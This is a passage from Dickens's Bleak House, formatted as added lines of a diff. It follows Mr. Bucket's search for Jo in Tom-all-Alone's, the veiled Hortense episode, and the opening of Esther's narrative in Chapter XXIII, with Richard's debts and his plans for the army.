+him at first sight but his ghostly manner of appearing.
+
+"Don't mind this gentleman," says Mr. Tulkinghorn in his quiet way.
+"This is only Mr. Bucket."
+
+"Oh, indeed, sir?" returns the stationer, expressing by a cough that
+he is quite in the dark as to who Mr. Bucket may be.
+
+"I wanted him to hear this story," says the lawyer, "because I have
+half a mind (for a reason) to know more of it, and he is very
+intelligent in such things. What do you say to this, Bucket?"
+
+"It's very plain, sir. Since our people have moved this boy on, and
+he's not to be found on his old lay, if Mr. Snagsby don't object to
+go down with me to Tom-all-Alone's and point him out, we can have him
+here in less than a couple of hours' time. I can do it without Mr.
+Snagsby, of course, but this is the shortest way."
+
+"Mr. Bucket is a detective officer, Snagsby," says the lawyer in
+explanation.
+
+"Is he indeed, sir?" says Mr. Snagsby with a strong tendency in his
+clump of hair to stand on end.
+
+"And if you have no real objection to accompany Mr. Bucket to the
+place in question," pursues the lawyer, "I shall feel obliged to you
+if you will do so."
+
+In a moment's hesitation on the part of Mr. Snagsby, Bucket dips down
+to the bottom of his mind.
+
+"Don't you be afraid of hurting the boy," he says. "You won't do
+that. It's all right as far as the boy's concerned. We shall only
+bring him here to ask him a question or so I want to put to him, and
+he'll be paid for his trouble and sent away again. It'll be a good
+job for him. I promise you, as a man, that you shall see the boy sent
+away all right. Don't you be afraid of hurting him; you an't going to
+do that."
+
+"Very well, Mr. Tulkinghorn!" cries Mr. Snagsby cheerfully. And
+reassured, "Since that's the case--"
+
+"Yes! And lookee here, Mr. Snagsby," resumes Bucket, taking him aside
+by the arm, tapping him familiarly on the breast, and speaking in a
+confidential tone. "You're a man of the world, you know, and a man of
+business, and a man of sense. That's what YOU are."
+
+"I am sure I am much obliged to you for your good opinion," returns
+the stationer with his cough of modesty, "but--"
+
+"That's what YOU are, you know," says Bucket. "Now, it an't necessary
+to say to a man like you, engaged in your business, which is a
+business of trust and requires a person to be wide awake and have his
+senses about him and his head screwed on tight (I had an uncle in
+your business once)--it an't necessary to say to a man like you that
+it's the best and wisest way to keep little matters like this quiet.
+Don't you see? Quiet!"
+
+"Certainly, certainly," returns the other.
+
+"I don't mind telling YOU," says Bucket with an engaging appearance
+of frankness, "that as far as I can understand it, there seems to be
+a doubt whether this dead person wasn't entitled to a little
+property, and whether this female hasn't been up to some games
+respecting that property, don't you see?"
+
+"Oh!" says Mr. Snagsby, but not appearing to see quite distinctly.
+
+"Now, what YOU want," pursues Bucket, again tapping Mr. Snagsby on
+the breast in a comfortable and soothing manner, "is that every
+person should have their rights according to justice. That's what YOU
+want."
+
+"To be sure," returns Mr. Snagsby with a nod.
+
+"On account of which, and at the same time to oblige a--do you call
+it, in your business, customer or client? I forget how my uncle used
+to call it."
+
+"Why, I generally say customer myself," replies Mr. Snagsby.
+
+"You're right!" returns Mr. Bucket, shaking hands with him quite
+affectionately. "--On account of which, and at the same time to
+oblige a real good customer, you mean to go down with me, in
+confidence, to Tom-all-Alone's and to keep the whole thing quiet ever
+afterwards and never mention it to any one. That's about your
+intentions, if I understand you?"
+
+"You are right, sir. You are right," says Mr. Snagsby.
+
+"Then here's your hat," returns his new friend, quite as intimate
+with it as if he had made it; "and if you're ready, I am."
+
+They leave Mr. Tulkinghorn, without a ruffle on the surface of his
+unfathomable depths, drinking his old wine, and go down into the
+streets.
+
+"You don't happen to know a very good sort of person of the name of
+Gridley, do you?" says Bucket in friendly converse as they descend
+the stairs.
+
+"No," says Mr. Snagsby, considering, "I don't know anybody of that
+name. Why?"
+
+"Nothing particular," says Bucket; "only having allowed his temper to
+get a little the better of him and having been threatening some
+respectable people, he is keeping out of the way of a warrant I have
+got against him--which it's a pity that a man of sense should do."
+
+As they walk along, Mr. Snagsby observes, as a novelty, that however
+quick their pace may be, his companion still seems in some
+undefinable manner to lurk and lounge; also, that whenever he is
+going to turn to the right or left, he pretends to have a fixed
+purpose in his mind of going straight ahead, and wheels off, sharply,
+at the very last moment. Now and then, when they pass a
+police-constable on his beat, Mr. Snagsby notices that both the
+constable and his guide fall into a deep abstraction as they come
+towards each other, and appear entirely to overlook each other, and
+to gaze into space. In a few instances, Mr. Bucket, coming behind
+some under-sized young man with a shining hat on, and his sleek hair
+twisted into one flat curl on each side of his head, almost without
+glancing at him touches him with his stick, upon which the young man,
+looking round, instantly evaporates. For the most part Mr. Bucket
+notices things in general, with a face as unchanging as the great
+mourning ring on his little finger or the brooch, composed of not
+much diamond and a good deal of setting, which he wears in his shirt.
+
+When they come at last to Tom-all-Alone's, Mr. Bucket stops for a
+moment at the corner and takes a lighted bull's-eye from the
+constable on duty there, who then accompanies him with his own
+particular bull's-eye at his waist. Between his two conductors, Mr.
+Snagsby passes along the middle of a villainous street, undrained,
+unventilated, deep in black mud and corrupt water--though the roads
+are dry elsewhere--and reeking with such smells and sights that he,
+who has lived in London all his life, can scarce believe his senses.
+Branching from this street and its heaps of ruins are other streets
+and courts so infamous that Mr. Snagsby sickens in body and mind and
+feels as if he were going every moment deeper down into the infernal
+gulf.
+
+"Draw off a bit here, Mr. Snagsby," says Bucket as a kind of shabby
+palanquin is borne towards them, surrounded by a noisy crowd. "Here's
+the fever coming up the street!"
+
+As the unseen wretch goes by, the crowd, leaving that object of
+attraction, hovers round the three visitors like a dream of horrible
+faces and fades away up alleys and into ruins and behind walls, and
+with occasional cries and shrill whistles of warning, thenceforth
+flits about them until they leave the place.
+
+"Are those the fever-houses, Darby?" Mr. Bucket coolly asks as he
+turns his bull's-eye on a line of stinking ruins.
+
+Darby replies that "all them are," and further that in all, for
+months and months, the people "have been down by dozens" and have
+been carried out dead and dying "like sheep with the rot." Bucket
+observing to Mr. Snagsby as they go on again that he looks a little
+poorly, Mr. Snagsby answers that he feels as if he couldn't breathe
+the dreadful air.
+
+There is inquiry made at various houses for a boy named Jo. As few
+people are known in Tom-all-Alone's by any Christian sign, there is
+much reference to Mr. Snagsby whether he means Carrots, or the
+Colonel, or Gallows, or Young Chisel, or Terrier Tip, or Lanky, or
+the Brick. Mr. Snagsby describes over and over again. There are
+conflicting opinions respecting the original of his picture. Some
+think it must be Carrots, some say the Brick. The Colonel is
+produced, but is not at all near the thing. Whenever Mr. Snagsby and
+his conductors are stationary, the crowd flows round, and from its
+squalid depths obsequious advice heaves up to Mr. Bucket. Whenever
+they move, and the angry bull's-eyes glare, it fades away and flits
+about them up the alleys, and in the ruins, and behind the walls, as
+before.
+
+At last there is a lair found out where Toughy, or the Tough Subject,
+lays him down at night; and it is thought that the Tough Subject may
+be Jo. Comparison of notes between Mr. Snagsby and the proprietress
+of the house--a drunken face tied up in a black bundle, and flaring
+out of a heap of rags on the floor of a dog-hutch which is her
+private apartment--leads to the establishment of this conclusion.
+Toughy has gone to the doctor's to get a bottle of stuff for a sick
+woman but will be here anon.
+
+"And who have we got here to-night?" says Mr. Bucket, opening another
+door and glaring in with his bull's-eye. "Two drunken men, eh? And
+two women? The men are sound enough," turning back each sleeper's arm
+from his face to look at him. "Are these your good men, my dears?"
+
+"Yes, sir," returns one of the women. "They are our husbands."
+
+"Brickmakers, eh?"
+
+"Yes, sir."
+
+"What are you doing here? You don't belong to London."
+
+"No, sir. We belong to Hertfordshire."
+
+"Whereabouts in Hertfordshire?"
+
+"Saint Albans."
+
+"Come up on the tramp?"
+
+"We walked up yesterday. There's no work down with us at present, but
+we have done no good by coming here, and shall do none, I expect."
+
+"That's not the way to do much good," says Mr. Bucket, turning his
+head in the direction of the unconscious figures on the ground.
+
+"It an't indeed," replies the woman with a sigh. "Jenny and me knows
+it full well."
+
+The room, though two or three feet higher than the door, is so low
+that the head of the tallest of the visitors would touch the
+blackened ceiling if he stood upright. It is offensive to every
+sense; even the gross candle burns pale and sickly in the polluted
+air. There are a couple of benches and a higher bench by way of
+table. The men lie asleep where they stumbled down, but the women sit
+by the candle. Lying in the arms of the woman who has spoken is a
+very young child.
+
+"Why, what age do you call that little creature?" says Bucket. "It
+looks as if it was born yesterday." He is not at all rough about it;
+and as he turns his light gently on the infant, Mr. Snagsby is
+strangely reminded of another infant, encircled with light, that he
+has seen in pictures.
+
+"He is not three weeks old yet, sir," says the woman.
+
+"Is he your child?"
+
+"Mine."
+
+The other woman, who was bending over it when they came in, stoops
+down again and kisses it as it lies asleep.
+
+"You seem as fond of it as if you were the mother yourself," says Mr.
+Bucket.
+
+"I was the mother of one like it, master, and it died."
+
+"Ah, Jenny, Jenny!" says the other woman to her. "Better so. Much
+better to think of dead than alive, Jenny! Much better!"
+
+"Why, you an't such an unnatural woman, I hope," returns Bucket
+sternly, "as to wish your own child dead?"
+
+"God knows you are right, master," she returns. "I am not. I'd stand
+between it and death with my own life if I could, as true as any
+pretty lady."
+
+"Then don't talk in that wrong manner," says Mr. Bucket, mollified
+again. "Why do you do it?"
+
+"It's brought into my head, master," returns the woman, her eyes
+filling with tears, "when I look down at the child lying so. If it
+was never to wake no more, you'd think me mad, I should take on so. I
+know that very well. I was with Jenny when she lost hers--warn't I,
+Jenny?--and I know how she grieved. But look around you at this
+place. Look at them," glancing at the sleepers on the ground. "Look
+at the boy you're waiting for, who's gone out to do me a good turn.
+Think of the children that your business lays with often and often,
+and that YOU see grow up!"
+
+"Well, well," says Mr. Bucket, "you train him respectable, and he'll
+be a comfort to you, and look after you in your old age, you know."
+
+"I mean to try hard," she answers, wiping her eyes. "But I have been
+a-thinking, being over-tired to-night and not well with the ague, of
+all the many things that'll come in his way. My master will be
+against it, and he'll be beat, and see me beat, and made to fear his
+home, and perhaps to stray wild. If I work for him ever so much, and
+ever so hard, there's no one to help me; and if he should be turned
+bad 'spite of all I could do, and the time should come when I should
+sit by him in his sleep, made hard and changed, an't it likely I
+should think of him as he lies in my lap now and wish he had died as
+Jenny's child died!"
+
+"There, there!" says Jenny. "Liz, you're tired and ill. Let me take
+him."
+
+In doing so, she displaces the mother's dress, but quickly readjusts
+it over the wounded and bruised bosom where the baby has been lying.
+
+"It's my dead child," says Jenny, walking up and down as she nurses,
+"that makes me love this child so dear, and it's my dead child that
+makes her love it so dear too, as even to think of its being taken
+away from her now. While she thinks that, I think what fortune would
+I give to have my darling back. But we mean the same thing, if we
+knew how to say it, us two mothers does in our poor hearts!"
+
+As Mr. Snagsby blows his nose and coughs his cough of sympathy, a
+step is heard without. Mr. Bucket throws his light into the doorway
+and says to Mr. Snagsby, "Now, what do you say to Toughy? Will HE
+do?"
+
+"That's Jo," says Mr. Snagsby.
+
+Jo stands amazed in the disk of light, like a ragged figure in a
+magic-lantern, trembling to think that he has offended against the
+law in not having moved on far enough. Mr. Snagsby, however, giving
+him the consolatory assurance, "It's only a job you will be paid for,
+Jo," he recovers; and on being taken outside by Mr. Bucket for a
+little private confabulation, tells his tale satisfactorily, though
+out of breath.
+
+"I have squared it with the lad," says Mr. Bucket, returning, "and
+it's all right. Now, Mr. Snagsby, we're ready for you."
+
+First, Jo has to complete his errand of good nature by handing over
+the physic he has been to get, which he delivers with the laconic
+verbal direction that "it's to be all took d'rectly." Secondly, Mr.
+Snagsby has to lay upon the table half a crown, his usual panacea for
+an immense variety of afflictions. Thirdly, Mr. Bucket has to take Jo
+by the arm a little above the elbow and walk him on before him,
+without which observance neither the Tough Subject nor any other
+Subject could be professionally conducted to Lincoln's Inn Fields.
+These arrangements completed, they give the women good night and come
+out once more into black and foul Tom-all-Alone's.
+
+By the noisome ways through which they descended into that pit, they
+gradually emerge from it, the crowd flitting, and whistling, and
+skulking about them until they come to the verge, where restoration
+of the bull's-eyes is made to Darby. Here the crowd, like a concourse
+of imprisoned demons, turns back, yelling, and is seen no more.
+Through the clearer and fresher streets, never so clear and fresh to
+Mr. Snagsby's mind as now, they walk and ride until they come to Mr.
+Tulkinghorn's gate.
+
+As they ascend the dim stairs (Mr. Tulkinghorn's chambers being on
+the first floor), Mr. Bucket mentions that he has the key of the
+outer door in his pocket and that there is no need to ring. For a man
+so expert in most things of that kind, Bucket takes time to open the
+door and makes some noise too. It may be that he sounds a note of
+preparation.
+
+Howbeit, they come at last into the hall, where a lamp is burning,
+and so into Mr. Tulkinghorn's usual room--the room where he drank his
+old wine to-night. He is not there, but his two old-fashioned
+candlesticks are, and the room is tolerably light.
+
+Mr. Bucket, still having his professional hold of Jo and appearing to
+Mr. Snagsby to possess an unlimited number of eyes, makes a little
+way into this room, when Jo starts and stops.
+
+"What's the matter?" says Bucket in a whisper.
+
+"There she is!" cries Jo.
+
+"Who!"
+
+"The lady!"
+
+A female figure, closely veiled, stands in the middle of the room,
+where the light falls upon it. It is quite still and silent. The
+front of the figure is towards them, but it takes no notice of their
+entrance and remains like a statue.
+
+"Now, tell me," says Bucket aloud, "how you know that to be the
+lady."
+
+"I know the wale," replies Jo, staring, "and the bonnet, and the
+gownd."
+
+"Be quite sure of what you say, Tough," returns Bucket, narrowly
+observant of him. "Look again."
+
+"I am a-looking as hard as ever I can look," says Jo with starting
+eyes, "and that there's the wale, the bonnet, and the gownd."
+
+"What about those rings you told me of?" asks Bucket.
+
+"A-sparkling all over here," says Jo, rubbing the fingers of his left
+hand on the knuckles of his right without taking his eyes from the
+figure.
+
+The figure removes the right-hand glove and shows the hand.
+
+"Now, what do you say to that?" asks Bucket.
+
+Jo shakes his head. "Not rings a bit like them. Not a hand like
+that."
+
+"What are you talking of?" says Bucket, evidently pleased though, and
+well pleased too.
+
+"Hand was a deal whiter, a deal delicater, and a deal smaller,"
+returns Jo.
+
+"Why, you'll tell me I'm my own mother next," says Mr. Bucket. "Do
+you recollect the lady's voice?"
+
+"I think I does," says Jo.
+
+The figure speaks. "Was it at all like this? I will speak as long as
+you like if you are not sure. Was it this voice, or at all like this
+voice?"
+
+Jo looks aghast at Mr. Bucket. "Not a bit!"
+
+"Then, what," retorts that worthy, pointing to the figure, "did you
+say it was the lady for?"
+
+"Cos," says Jo with a perplexed stare but without being at all shaken
+in his certainty, "cos that there's the wale, the bonnet, and the
+gownd. It is her and it an't her. It an't her hand, nor yet her
+rings, nor yet her woice. But that there's the wale, the bonnet, and
+the gownd, and they're wore the same way wot she wore 'em, and it's
+her height wot she wos, and she giv me a sov'ring and hooked it."
+
+"Well!" says Mr. Bucket slightly, "we haven't got much good out of
+YOU. But, however, here's five shillings for you. Take care how you
+spend it, and don't get yourself into trouble." Bucket stealthily
+tells the coins from one hand into the other like counters--which is
+a way he has, his principal use of them being in these games of
+skill--and then puts them, in a little pile, into the boy's hand and
+takes him out to the door, leaving Mr. Snagsby, not by any means
+comfortable under these mysterious circumstances, alone with the
+veiled figure. But on Mr. Tulkinghorn's coming into the room, the
+veil is raised and a sufficiently good-looking Frenchwoman is
+revealed, though her expression is something of the intensest.
+
+"Thank you, Mademoiselle Hortense," says Mr. Tulkinghorn with his
+usual equanimity. "I will give you no further trouble about this
+little wager."
+
+"You will do me the kindness to remember, sir, that I am not at
+present placed?" says mademoiselle.
+
+"Certainly, certainly!"
+
+"And to confer upon me the favour of your distinguished
+recommendation?"
+
+"By all means, Mademoiselle Hortense."
+
+"A word from Mr. Tulkinghorn is so powerful."
+
+"It shall not be wanting, mademoiselle."
+
+"Receive the assurance of my devoted gratitude, dear sir."
+
+"Good night."
+
+Mademoiselle goes out with an air of native gentility; and Mr.
+Bucket, to whom it is, on an emergency, as natural to be groom of the
+ceremonies as it is to be anything else, shows her downstairs, not
+without gallantry.
+
+"Well, Bucket?" quoth Mr. Tulkinghorn on his return.
+
+"It's all squared, you see, as I squared it myself, sir. There an't a
+doubt that it was the other one with this one's dress on. The boy was
+exact respecting colours and everything. Mr. Snagsby, I promised you
+as a man that he should be sent away all right. Don't say it wasn't
+done!"
+
+"You have kept your word, sir," returns the stationer; "and if I can
+be of no further use, Mr. Tulkinghorn, I think, as my little woman
+will be getting anxious--"
+
+"Thank you, Snagsby, no further use," says Mr. Tulkinghorn. "I am
+quite indebted to you for the trouble you have taken already."
+
+"Not at all, sir. I wish you good night."
+
+"You see, Mr. Snagsby," says Mr. Bucket, accompanying him to the door
+and shaking hands with him over and over again, "what I like in you
+is that you're a man it's of no use pumping; that's what YOU are.
+When you know you have done a right thing, you put it away, and it's
+done with and gone, and there's an end of it. That's what YOU do."
+
+"That is certainly what I endeavour to do, sir," returns Mr. Snagsby.
+
+"No, you don't do yourself justice. It an't what you endeavour to
+do," says Mr. Bucket, shaking hands with him and blessing him in the
+tenderest manner, "it's what you DO. That's what I estimate in a man
+in your way of business."
+
+Mr. Snagsby makes a suitable response and goes homeward so confused
+by the events of the evening that he is doubtful of his being awake
+and out--doubtful of the reality of the streets through which he
+goes--doubtful of the reality of the moon that shines above him. He
+is presently reassured on these subjects by the unchallengeable
+reality of Mrs. Snagsby, sitting up with her head in a perfect
+beehive of curl-papers and night-cap, who has dispatched Guster to
+the police-station with official intelligence of her husband's being
+made away with, and who within the last two hours has passed through
+every stage of swooning with the greatest decorum. But as the little
+woman feelingly says, many thanks she gets for it!
+
+
+
+
+CHAPTER XXIII
+
+Esther's Narrative
+
+
+We came home from Mr. Boythorn's after six pleasant weeks. We were
+often in the park and in the woods and seldom passed the lodge where
+we had taken shelter without looking in to speak to the keeper's
+wife; but we saw no more of Lady Dedlock, except at church on
+Sundays. There was company at Chesney Wold; and although several
+beautiful faces surrounded her, her face retained the same influence
+on me as at first. I do not quite know even now whether it was
+painful or pleasurable, whether it drew me towards her or made me
+shrink from her. I think I admired her with a kind of fear, and I
+know that in her presence my thoughts always wandered back, as they
+had done at first, to that old time of my life.
+
+I had a fancy, on more than one of these Sundays, that what this lady
+so curiously was to me, I was to her--I mean that I disturbed her
+thoughts as she influenced mine, though in some different way. But
+when I stole a glance at her and saw her so composed and distant and
+unapproachable, I felt this to be a foolish weakness. Indeed, I felt
+the whole state of my mind in reference to her to be weak and
+unreasonable, and I remonstrated with myself about it as much as I
+could.
+
+One incident that occurred before we quitted Mr. Boythorn's house, I
+had better mention in this place.
+
+I was walking in the garden with Ada when I was told that some one
+wished to see me. Going into the breakfast-room where this person was
+waiting, I found it to be the French maid who had cast off her shoes
+and walked through the wet grass on the day when it thundered and
+lightened.
+
+"Mademoiselle," she began, looking fixedly at me with her too-eager
+eyes, though otherwise presenting an agreeable appearance and
+speaking neither with boldness nor servility, "I have taken a great
+liberty in coming here, but you know how to excuse it, being so
+amiable, mademoiselle."
+
+"No excuse is necessary," I returned, "if you wish to speak to me."
+
+"That is my desire, mademoiselle. A thousand thanks for the
+permission. I have your leave to speak. Is it not?" she said in a
+quick, natural way.
+
+"Certainly," said I.
+
+"Mademoiselle, you are so amiable! Listen then, if you please. I have
+left my Lady. We could not agree. My Lady is so high, so very high.
+Pardon! Mademoiselle, you are right!" Her quickness anticipated what
+I might have said presently but as yet had only thought. "It is not
+for me to come here to complain of my Lady. But I say she is so high,
+so very high. I will not say a word more. All the world knows that."
+
+"Go on, if you please," said I.
+
+"Assuredly; mademoiselle, I am thankful for your politeness.
+Mademoiselle, I have an inexpressible desire to find service with a
+young lady who is good, accomplished, beautiful. You are good,
+accomplished, and beautiful as an angel. Ah, could I have the honour
+of being your domestic!"
+
+"I am sorry--" I began.
+
+"Do not dismiss me so soon, mademoiselle!" she said with an
+involuntary contraction of her fine black eyebrows. "Let me hope a
+moment! Mademoiselle, I know this service would be more retired than
+that which I have quitted. Well! I wish that. I know this service
+would be less distinguished than that which I have quitted. Well! I
+wish that, I know that I should win less, as to wages here. Good. I
+am content."
+
+"I assure you," said I, quite embarrassed by the mere idea of having
+such an attendant, "that I keep no maid--"
+
+"Ah, mademoiselle, but why not? Why not, when you can have one so
+devoted to you! Who would be enchanted to serve you; who would be so
+true, so zealous, and so faithful every day! Mademoiselle, I wish
+with all my heart to serve you. Do not speak of money at present.
+Take me as I am. For nothing!"
+
+She was so singularly earnest that I drew back, almost afraid of her.
+Without appearing to notice it, in her ardour she still pressed
+herself upon me, speaking in a rapid subdued voice, though always
+with a certain grace and propriety.
+
+"Mademoiselle, I come from the South country where we are quick and
+where we like and dislike very strong. My Lady was too high for me; I
+was too high for her. It is done--past--finished! Receive me as your
+domestic, and I will serve you well. I will do more for you than you
+figure to yourself now. Chut! Mademoiselle, I will--no matter, I will
+do my utmost possible in all things. If you accept my service, you
+will not repent it. Mademoiselle, you will not repent it, and I will
+serve you well. You don't know how well!"
+
+There was a lowering energy in her face as she stood looking at me
+while I explained the impossibility of my engaging her (without
+thinking it necessary to say how very little I desired to do so),
+which seemed to bring visibly before me some woman from the streets
+of Paris in the reign of terror.
+
+She heard me out without interruption and then said with her pretty
+accent and in her mildest voice, "Hey, mademoiselle, I have received
+my answer! I am sorry of it. But I must go elsewhere and seek what I
+have not found here. Will you graciously let me kiss your hand?"
+
+She looked at me more intently as she took it, and seemed to take
+note, with her momentary touch, of every vein in it. "I fear I
+surprised you, mademoiselle, on the day of the storm?" she said with
+a parting curtsy.
+
+I confessed that she had surprised us all.
+
+"I took an oath, mademoiselle," she said, smiling, "and I wanted to
+stamp it on my mind so that I might keep it faithfully. And I will!
+Adieu, mademoiselle!"
+
+So ended our conference, which I was very glad to bring to a close. I
+supposed she went away from the village, for I saw her no more; and
+nothing else occurred to disturb our tranquil summer pleasures until
+six weeks were out and we returned home as I began just now by
+saying.
+
+At that time, and for a good many weeks after that time, Richard was
+constant in his visits. Besides coming every Saturday or Sunday and
+remaining with us until Monday morning, he sometimes rode out on
+horseback unexpectedly and passed the evening with us and rode back
+again early next day. He was as vivacious as ever and told us he was
+very industrious, but I was not easy in my mind about him. It
+appeared to me that his industry was all misdirected. I could not
+find that it led to anything but the formation of delusive hopes in
+connexion with the suit already the pernicious cause of so much
+sorrow and ruin. He had got at the core of that mystery now, he told
+us, and nothing could be plainer than that the will under which he
+and Ada were to take I don't know how many thousands of pounds must
+be finally established if there were any sense or justice in the
+Court of Chancery--but oh, what a great IF that sounded in my
+ears--and that this happy conclusion could not be much longer
+delayed. He proved this to himself by all the weary arguments on that
+side he had read, and every one of them sunk him deeper in the
+infatuation. He had even begun to haunt the court. He told us how he
+saw Miss Flite there daily, how they talked together, and how he did
+her little kindnesses, and how, while he laughed at her, he pitied
+her from his heart. But he never thought--never, my poor, dear,
+sanguine Richard, capable of so much happiness then, and with such
+better things before him--what a fatal link was riveting between his
+fresh youth and her faded age, between his free hopes and her caged
+birds, and her hungry garret, and her wandering mind.
+
+Ada loved him too well to mistrust him much in anything he said or
+did, and my guardian, though he frequently complained of the east
+wind and read more than usual in the growlery, preserved a strict
+silence on the subject. So I thought one day when I went to London to
+meet Caddy Jellyby, at her solicitation, I would ask Richard to be in
+waiting for me at the coach-office, that we might have a little talk
+together. I found him there when I arrived, and we walked away arm in
+arm.
+
+"Well, Richard," said I as soon as I could begin to be grave with
+him, "are you beginning to feel more settled now?"
+
+"Oh, yes, my dear!" returned Richard. "I'm all right enough."
+
+"But settled?" said I.
+
+"How do you mean, settled?" returned Richard with his gay laugh.
+
+"Settled in the law," said I.
+
+"Oh, aye," replied Richard, "I'm all right enough."
+
+"You said that before, my dear Richard."
+
+"And you don't think it's an answer, eh? Well! Perhaps it's not.
+Settled? You mean, do I feel as if I were settling down?"
+
+"Yes."
+
+"Why, no, I can't say I am settling down," said Richard, strongly
+emphasizing "down," as if that expressed the difficulty, "because one
+can't settle down while this business remains in such an unsettled
+state. When I say this business, of course I mean the--forbidden
+subject."
+
+"Do you think it will ever be in a settled state?" said I.
+
+"Not the least doubt of it," answered Richard.
+
+We walked a little way without speaking, and presently Richard
+addressed me in his frankest and most feeling manner, thus: "My dear
+Esther, I understand you, and I wish to heaven I were a more constant
+sort of fellow. I don't mean constant to Ada, for I love her
+dearly--better and better every day--but constant to myself.
+(Somehow, I mean something that I can't very well express, but you'll
+make it out.) If I were a more constant sort of fellow, I should have
+held on either to Badger or to Kenge and Carboy like grim death, and
+should have begun to be steady and systematic by this time, and
+shouldn't be in debt, and--"
+
+"ARE you in debt, Richard?"
+
+"Yes," said Richard, "I am a little so, my dear. Also, I have taken
+rather too much to billiards and that sort of thing. Now the murder's
+out; you despise me, Esther, don't you?"
+
+"You know I don't," said I.
+
+"You are kinder to me than I often am to myself," he returned. "My
+dear Esther, I am a very unfortunate dog not to be more settled, but
+how CAN I be more settled? If you lived in an unfinished house, you
+couldn't settle down in it; if you were condemned to leave everything
+you undertook unfinished, you would find it hard to apply yourself to
+anything; and yet that's my unhappy case. I was born into this
+unfinished contention with all its chances and changes, and it began
+to unsettle me before I quite knew the difference between a suit at
+law and a suit of clothes; and it has gone on unsettling me ever
+since; and here I am now, conscious sometimes that I am but a
+worthless fellow to love my confiding cousin Ada."
+
+We were in a solitary place, and he put his hands before his eyes and
+sobbed as he said the words.
+
+"Oh, Richard!" said I. "Do not be so moved. You have a noble nature,
+and Ada's love may make you worthier every day."
+
+"I know, my dear," he replied, pressing my arm, "I know all that. You
+mustn't mind my being a little soft now, for I have had all this upon
+my mind for a long time, and have often meant to speak to you, and
+have sometimes wanted opportunity and sometimes courage. I know what
+the thought of Ada ought to do for me, but it doesn't do it. I am too
+unsettled even for that. I love her most devotedly, and yet I do her
+wrong, in doing myself wrong, every day and hour. But it can't last
+for ever. We shall come on for a final hearing and get judgment in
+our favour, and then you and Ada shall see what I can really be!"
+
+It had given me a pang to hear him sob and see the tears start out
+between his fingers, but that was infinitely less affecting to me
+than the hopeful animation with which he said these words.
+
+"I have looked well into the papers, Esther. I have been deep in them
+for months," he continued, recovering his cheerfulness in a moment,
+"and you may rely upon it that we shall come out triumphant. As to
+years of delay, there has been no want of them, heaven knows! And
+there is the greater probability of our bringing the matter to a
+speedy close; in fact, it's on the paper now. It will be all right at
+last, and then you shall see!"
+
+Recalling how he had just now placed Messrs. Kenge and Carboy in the
+same category with Mr. Badger, I asked him when he intended to be
+articled in Lincoln's Inn.
+
+"There again! I think not at all, Esther," he returned with an
+effort. "I fancy I have had enough of it. Having worked at Jarndyce
+and Jarndyce like a galley slave, I have slaked my thirst for the law
+and satisfied myself that I shouldn't like it. Besides, I find it
+unsettles me more and more to be so constantly upon the scene of
+action. So what," continued Richard, confident again by this time,
+"do I naturally turn my thoughts to?"
+
+"I can't imagine," said I.
+
+"Don't look so serious," returned Richard, "because it's the best
+thing I can do, my dear Esther, I am certain. It's not as if I wanted
+a profession for life. These proceedings will come to a termination,
+and then I am provided for. No. I look upon it as a pursuit which is
+in its nature more or less unsettled, and therefore suited to my
+temporary condition--I may say, precisely suited. What is it that I
+naturally turn my thoughts to?"
+
+I looked at him and shook my head.
+
+"What," said Richard, in a tone of perfect conviction, "but the
+army!"
+
+"The army?" said I.
+
+"The army, of course. What I have to do is to get a commission;
+and--there I am, you know!" said Richard.
+
+And then he showed me, proved by elaborate calculations in his
+pocket-book, that supposing he had contracted, say, two hundred
+pounds of debt in six months out of the army; and that he contracted
+no debt at all within a corresponding period in the army--as to which
+he had quite made up his mind; this step must involve a saving of
+four hundred pounds in a year, or two thousand pounds in five years,
+which was a considerable sum. And then he spoke so ingenuously and
+sincerely of the sacrifice he made in withdrawing himself for a time
+from Ada, and of the earnestness with which he aspired--as in thought
+he always did, I know full well--to repay her love, and to ensure her
+happiness, and to conquer what was amiss in himself, and to acquire
+the very soul of decision, that he made my heart ache keenly, sorely.
+For, I thought, how would this end, how could this end, when so soon
+and so surely all his manly qualities were touched by the fatal
+blight that ruined everything it rested on!
+
+I spoke to Richard with all the earnestness I felt, and all the hope
+I could not quite feel then, and implored him for Ada's sake not to
+put any trust in Chancery. To all I said, Richard readily assented,
+riding over the court and everything else in his easy way and drawing
+the brightest pictures of the character he was to settle into--alas,
+when the grievous suit should loose its hold upon him! We had a long
+talk, but it always came back to that, in substance.
+
+At last we came to Soho Square, where Caddy Jellyby had appointed to
+wait for me, as a quiet place in the neighbourhood of Newman Street.
+Caddy was in the garden in the centre and hurried out as soon as I
+appeared. After a few cheerful words, Richard left us together.
+
+"Prince has a pupil over the way, Esther," said Caddy, "and got the
+key for us. So if you will walk round and round here with me, we can
+lock ourselves in and I can tell you comfortably what I wanted to see
+your dear good face about."
+
+"Very well, my dear," said I. "Nothing could be better." So Caddy,
+after affectionately squeezing the dear good face as she called it,
+locked the gate, and took my arm, and we began to walk round the
+garden very cosily.
+
+"You see, Esther," said Caddy, who thoroughly enjoyed a little
+confidence, "after you spoke to me about its being wrong to marry
+without Ma's knowledge, or even to keep Ma long in the dark
+respecting our engagement--though I don't believe Ma cares much for
+me, I must say--I thought it right to mention your opinions to
+Prince. In the first place because I want to profit by everything you
+tell me, and in the second place because I have no secrets from
+Prince."
+
+"I hope he approved, Caddy?"
+
+"Oh, my dear! I assure you he would approve of anything you could
+say. You have no idea what an opinion he has of you!"
+
+"Indeed!"
+
+"Esther, it's enough to make anybody but me jealous," said Caddy,
+laughing and shaking her head; "but it only makes me joyful, for you
+are the first friend I ever had, and the best friend I ever can have,
+and nobody can respect and love you too much to please me."
+
+"Upon my word, Caddy," said I, "you are in the general conspiracy to
+keep me in a good humour. Well, my dear?"
+
+"Well! I am going to tell you," replied Caddy, crossing her hands
+confidentially upon my arm. "So we talked a good deal about it, and
+so I said to Prince, 'Prince, as Miss Summerson--'"
+
+"I hope you didn't say 'Miss Summerson'?"
+
+"No. I didn't!" cried Caddy, greatly pleased and with the brightest
+of faces. "I said, 'Esther.' I said to Prince, 'As Esther is
+decidedly of that opinion, Prince, and has expressed it to me, and
+always hints it when she writes those kind notes, which you are so
+fond of hearing me read to you, I am prepared to disclose the truth
+to Ma whenever you think proper. And I think, Prince,' said I, 'that
+Esther thinks that I should be in a better, and truer, and more
+honourable position altogether if you did the same to your papa.'"
+
+"Yes, my dear," said I. "Esther certainly does think so."
+
+"So I was right, you see!" exclaimed Caddy. "Well! This troubled
+Prince a good deal, not because he had the least doubt about it, but
+because he is so considerate of the feelings of old Mr. Turveydrop;
+and he had his apprehensions that old Mr. Turveydrop might break his
+heart, or faint away, or be very much overcome in some affecting
